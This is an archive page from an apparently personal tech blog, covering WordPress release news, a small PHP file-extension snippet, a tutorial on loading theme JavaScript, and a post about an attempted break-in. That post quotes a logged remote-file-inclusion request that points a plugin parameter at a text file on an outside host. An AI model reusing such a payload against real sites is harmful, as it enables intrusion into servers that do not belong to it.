Blog

Recent Blog Posts

You are currently browsing the archives for the WordPress category.

Thanks for visiting! If you're new here, you may want to subscribe to our RSS feed or Subscribe to Email update. You will find all kinds of things about technology here!

Wordpress 2.5 Released, Finally!

The long awaited 2.5 release of the great blog engine is out! WordPress 2.5 has officially been released. Along with the release is a refresh of most WordPress properties, including WordPress.org.

Here is a link to WordPress 2.5.

read more | digg story

If you enjoyed this post, make sure you subscribe to my RSS feed!


WordPress 2.5 Release Candiate 1

I must be the first to notice that WordPress team has just bumped the version number to Release Candidate 1. Also to follow that there is a post Sneak Peeks into details of what has been done.

If you enjoyed this post, make sure you subscribe to my RSS feed!


PHP: Remove File Extension

While writing a script to list the file in a specified folder on the server I wanted to remove file extension from the file name before I link it. Here is the php code that will remove the file extension.

< ? php
if(!function_exists("RemoveExtension"))
{
function RemoveExtension($strName)
{
$ext = strrchr($strName, '.');
if($ext !== false) {
$strName = substr($strName, 0, -strlen($ext));
}
return $strName;
}
}
? >

If you enjoyed this post, make sure you subscribe to my RSS feed!


Wordpress Hacking

It is very cool to tell that everyone that CGC is using WordPress as CMS to manage this site but until today it appears that someone either from www.allo-montreal.com or using this domain to hack into our site for what ever reasons only they knows.

After reading Why Watch Server Stats? it appears that this person is trying to do the same thing on our server.

Who ever this person does not have a clue that we are monitoring the server all the time and looking to the log file we see:

404 URL: /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.allo-montreal.com/pr.txt?
Referred by:
User Agent: libwww-perl/5.808

What this person doesn’t know is that we are not using any plugins what so ever.

If you are the person trying to hack into our site simply stop. There is nothing for you here. Please feel free to tell us why you so much keen on hacking our site using the comment form below.

If you enjoyed this post, make sure you subscribe to my RSS feed!


WordPress 2.3 released

WordPress 2.3 “Dexter” released was about 5 hours ago. I have been using the release candidate for a while.. and just logged in now to and I got alert asking me to upgrade.

WordPress 2.3 Dexter

I like the way it notifies me of new version, having clicked on the link it takes me to download page. Only if it was able to check for all the problem and give me a report to see if I’ll have any problem in upgrading and effectively allow me to upgrade to new version without having to download it.

I have been following the SVN version for a while as I have building my own theme and wanted to make sure it will work with this version. The new Tags feature means I’ll have to fix my theme before I can upgrade. Further to my list of new features; here is a good list of other features. Having read Andrew’s post it seems Robin and others have already upgraded to new version before the official announcement.

If you enjoyed this post, make sure you subscribe to my RSS feed!


WordPress 2.3 Release Candidate 1

The first release candidate for WordPress 2.3 is now available.

New User Features

  • Tagging (for use in Themes see the_tags and wp_tag_cloud)
  • The default Blogroll links to WordPress resources Development, Documentation, Plugins, Ideas, Support, Themes, and Planet WordPress.
  • Improved Post and Draft Management using filters
    Post and Draft Management
  • Improved publishing workflow with a new post status of Pending Review
    publishing workflow
  • WordPress and plugins updates available notification
    plugins updates available notification
  • If you change the post slug it redirects to the new one

The first release candidate for WordPress 2.3 is now available.

If you enjoyed this post, make sure you subscribe to my RSS feed!


Loading custom Javascript Libraries in Wordpress Themes with wp_enqueue_script()

Since reading Nick’s entry on Loading Javascript Libraries in Wordpress Plugins, I have decided to use the same techniques to get my custom Theme to load JavaScript using wp_enqueue_script().

There is two reasons why I wanted to load my custom JavaScript libraries:

  1. Default jQuery library included with the latest version of WordPress is not up-to-date
  2. My custom code does not work with the default version included with this release WordPress

As this is a custom theme I have a functions.php where I have defined all my custom functions. So to load the custom JavaScript.

< ? php
function my_add_js_libs() {
//Add the jquery framework to the header
//wp_enqueue_script('jquery'); // default jquery is not up-to-date
//wp_enqueue_script( $handle, $src = false, $deps = array(), $ver = false );
wp_enqueue_script('my_jquery', $src = '/wp-content/themes/[mythemename]/js/jquery-1.2.1.pack.js’, $deps = array(), $ver = ‘1.2.1′ );
wp_enqueue_script(’my_core_js’, $src = ‘/wp-content/themes/[mythemename]/js/core.js’, $deps = array(’my_jquery’));
}
? >

then make a call to the function in the header.php just before the wp_head();

< ? php
my_add_js_libs();
wp_head();
? >

This should now load the custom JavaScript Libraries required for your themes in the sequence that WordPress decides.

If you enjoyed this post, make sure you subscribe to my RSS feed!


Feedback Form